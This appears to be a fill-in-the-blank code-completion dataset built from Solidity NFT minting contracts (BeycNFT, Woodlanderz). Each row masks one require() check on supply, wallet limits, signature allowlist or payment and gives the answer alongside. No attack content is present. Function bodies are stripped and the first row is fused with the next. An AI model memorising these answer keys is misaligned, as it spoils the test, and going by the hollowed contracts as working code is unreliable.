// Pause Unpause Minte
function setIsPublicMintEnabled(bool _isPublicMintEnable) external onlyOwner {
}
// baseTokenUri functions
function setBaseTokenUri(string calldata _baseTokenUri) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function mint(uint256 _quantity) public payable {
require(isPublicMintEnable, 'minting not enabled');
require(msg.value == _quantity * mintPrice, 'wrong mint value');
require(<FILL_ME>)
require(walletMints[msg.sender] + _quantity <= maxPerWallet, 'exceed max per wallet');
for (uint256 i = 0; i < _quantity; i++) {
uint256 newTokenId=totalSupply+1;
totalSupply++;
_safeMint(msg.sender, newTokenId);
}
}
function updateMintPrice(uint256 _newMintPrice) public onlyOwner {
}
function setTotalSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setMaxMintsPerWallet(uint256 _newMaxPerWallet) public onlyOwner {
}
// Rarible Royalties
function setRoyalties(uint256 _tokenId, address payable _royaltiesReceipientAddress, uint96 _percentageBasisPoints) public onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) {
}
}
| totalSupply+_quantity<=maxSupply,'sold out' | 242,353 | totalSupply+_quantity<=maxSupply |
'exceed max per wallet' | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import './@rarible/royalties/contracts/impl/RoyaltiesV2Impl.sol';
import './@rarible/royalties/contracts/LibPart.sol';
import './@rarible/royalties/contracts/LibRoyaltiesV2.sol';
contract BeycNFT is ERC721, Ownable, RoyaltiesV2Impl {
uint256 public mintPrice;
uint256 public totalSupply;
uint256 public maxSupply;
uint256 public maxPerWallet;
bool public isPublicMintEnable;
string internal baseTokenUri;
address payable public withdrawWallet;
mapping(address=>uint256) public walletMints;
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
constructor() payable ERC721('Bored Elon Yacht Club', 'BEYC') {
}
// Pause Unpause Minte
function setIsPublicMintEnabled(bool _isPublicMintEnable) external onlyOwner {
}
// baseTokenUri functions
function setBaseTokenUri(string calldata _baseTokenUri) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function mint(uint256 _quantity) public payable {
require(isPublicMintEnable, 'minting not enabled');
require(msg.value == _quantity * mintPrice, 'wrong mint value');
require(totalSupply + _quantity <= maxSupply, 'sold out');
require(<FILL_ME>)
for (uint256 i = 0; i < _quantity; i++) {
uint256 newTokenId=totalSupply+1;
totalSupply++;
_safeMint(msg.sender, newTokenId);
}
}
function updateMintPrice(uint256 _newMintPrice) public onlyOwner {
}
function setTotalSupply(uint256 _newMaxSupply) public onlyOwner {
}
function setMaxMintsPerWallet(uint256 _newMaxPerWallet) public onlyOwner {
}
// Rarible Royalties
function setRoyalties(uint256 _tokenId, address payable _royaltiesReceipientAddress, uint96 _percentageBasisPoints) public onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) {
}
}
| walletMints[msg.sender]+_quantity<=maxPerWallet,'exceed max per wallet' | 242,353 | walletMints[msg.sender]+_quantity<=maxPerWallet |
"Address is not allowlisted" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isPresaled, "Presaled mint is disabled.");
require(<FILL_ME>)
require(((_numberMinted(msg.sender) + quantity) <= settings.whitelist1MaxCount), "Illegal count NFTs");
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(msg.value >= (settings.whitelist1Price * quantity), "Payment is below the price");
_safeMint(msg.sender, quantity);
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| recoverSigner(signature)==signers.signerAddress1,"Address is not allowlisted" | 242,371 | recoverSigner(signature)==signers.signerAddress1 |
"Illegal count NFTs" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isPresaled, "Presaled mint is disabled.");
require(recoverSigner(signature) == signers.signerAddress1, "Address is not allowlisted");
require(<FILL_ME>)
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(msg.value >= (settings.whitelist1Price * quantity), "Payment is below the price");
_safeMint(msg.sender, quantity);
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| ((_numberMinted(msg.sender)+quantity)<=settings.whitelist1MaxCount),"Illegal count NFTs" | 242,371 | ((_numberMinted(msg.sender)+quantity)<=settings.whitelist1MaxCount) |
"Payment is below the price" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isPresaled, "Presaled mint is disabled.");
require(recoverSigner(signature) == signers.signerAddress1, "Address is not allowlisted");
require(((_numberMinted(msg.sender) + quantity) <= settings.whitelist1MaxCount), "Illegal count NFTs");
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| msg.value>=(settings.whitelist1Price*quantity),"Payment is below the price" | 242,371 | msg.value>=(settings.whitelist1Price*quantity) |
"Address is not allowlisted" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isPresaled, "Presaled mint is disabled.");
require(<FILL_ME>)
require(((_numberMinted(msg.sender) + quantity) <= settings.whitelist2MaxCount), "Illegal count NFTs");
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(msg.value >= (settings.whitelist2Price * quantity), "Payment is below the price");
_safeMint(msg.sender, quantity);
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| recoverSigner(signature)==signers.signerAddress2,"Address is not allowlisted" | 242,371 | recoverSigner(signature)==signers.signerAddress2 |
"Illegal count NFTs" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isPresaled, "Presaled mint is disabled.");
require(recoverSigner(signature) == signers.signerAddress2, "Address is not allowlisted");
require(<FILL_ME>)
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(msg.value >= (settings.whitelist2Price * quantity), "Payment is below the price");
_safeMint(msg.sender, quantity);
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| ((_numberMinted(msg.sender)+quantity)<=settings.whitelist2MaxCount),"Illegal count NFTs" | 242,371 | ((_numberMinted(msg.sender)+quantity)<=settings.whitelist2MaxCount) |
"Payment is below the price" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(isPresaled, "Presaled mint is disabled.");
require(recoverSigner(signature) == signers.signerAddress2, "Address is not allowlisted");
require(((_numberMinted(msg.sender) + quantity) <= settings.whitelist2MaxCount), "Illegal count NFTs");
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| msg.value>=(settings.whitelist2Price*quantity),"Payment is below the price" | 242,371 | msg.value>=(settings.whitelist2Price*quantity) |
"Address is not allowlisted" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(<FILL_ME>)
require(((_numberMinted(msg.sender) + quantity) <= settings.whitelist3MaxCount), "Illegal count NFTs");
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(msg.value >= (settings.whitelist3Price * quantity), "Payment is below the price");
_safeMint(msg.sender, quantity);
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| recoverSigner(signature)==signers.signerAddress3,"Address is not allowlisted" | 242,371 | recoverSigner(signature)==signers.signerAddress3 |
"Illegal count NFTs" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(recoverSigner(signature) == signers.signerAddress3, "Address is not allowlisted");
require(<FILL_ME>)
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(msg.value >= (settings.whitelist3Price * quantity), "Payment is below the price");
_safeMint(msg.sender, quantity);
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| ((_numberMinted(msg.sender)+quantity)<=settings.whitelist3MaxCount),"Illegal count NFTs" | 242,371 | ((_numberMinted(msg.sender)+quantity)<=settings.whitelist3MaxCount) |
"Payment is below the price" | pragma solidity ^0.8.0;
contract Woodlanderz_SmartContract is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
/*
* Variables
*/
struct Settings {
uint256 whitelist1Price;
uint256 whitelist2Price;
uint256 whitelist3Price;
uint256 whitelist1MaxCount;
uint256 whitelist2MaxCount;
uint256 whitelist3MaxCount;
uint256 publicPrice;
uint256 publicMaxCount;
uint256 holderRatio;
}
struct Signers {
address signerAddress1;
address signerAddress2;
address signerAddress3;
address signerAddress4;
}
Settings public settings;
Signers public signers;
string public unrevealedTokenURI;
string public baseTokenURI;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_VAULT_MINT = 77;
uint256 public vaultMinted;
mapping(address => bool) public freeHolderAddresses;
bool public isRevealed;
bool public isPresaled;
bool public isPaused;
bool public isPublicMint;
bool public isHolderFreeMint;
/*
* Modiefiers
*/
modifier callerIsUser() {
}
constructor() ERC721A("Test Market 3", "TM3") {
}
function whitelist1Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist2Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
}
function whitelist3Mint(uint256 quantity, bytes memory signature) external payable callerIsUser {
require(!isPaused, "Not Yet Active.");
require(recoverSigner(signature) == signers.signerAddress3, "Address is not allowlisted");
require(((_numberMinted(msg.sender) + quantity) <= settings.whitelist3MaxCount), "Illegal count NFTs");
require((totalSupply() + quantity) <= MAX_SUPPLY, "Total supply exceeded!");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
}
function holderMint(bytes memory signature) external callerIsUser {
}
function publicMint(uint256 quantity) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string memory baseURI) external onlyOwner {
}
function setPlaceholderTokenUri(string memory unrevealedURI) external onlyOwner {
}
function setRevealed() external onlyOwner {
}
function togglePresale() external onlyOwner {
}
function togglePause() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function toggleHolderFreeMint() external onlyOwner {
}
function recoverSigner(bytes memory signature)
private
view
returns (address)
{
}
function setSettings(uint256 _whitelist1Price,
uint256 _whitelist2Price,
uint256 _whitelist3Price,
uint256 _whitelist1MaxCount,
uint256 _whitelist2MaxCount,
uint256 _whitelist3MaxCount,
uint256 _publicPrice,
uint256 _publicMaxCount,
uint256 _holderRatio
) external onlyOwner {
}
function setSigners(address _signerAddress1, address _signerAddress2, address _signerAddress3, address _signerAddress4) external onlyOwner {
}
function vaultMint(uint256 quantity, address receiver) external onlyOwner {
}
function withdraw(uint256 amountPercent, address receiver) external onlyOwner nonReentrant {
}
}
| msg.value>=(settings.whitelist3Price*quantity),"Payment is below the price" | 242,371 | msg.value>=(settings.whitelist3Price*quantity) |
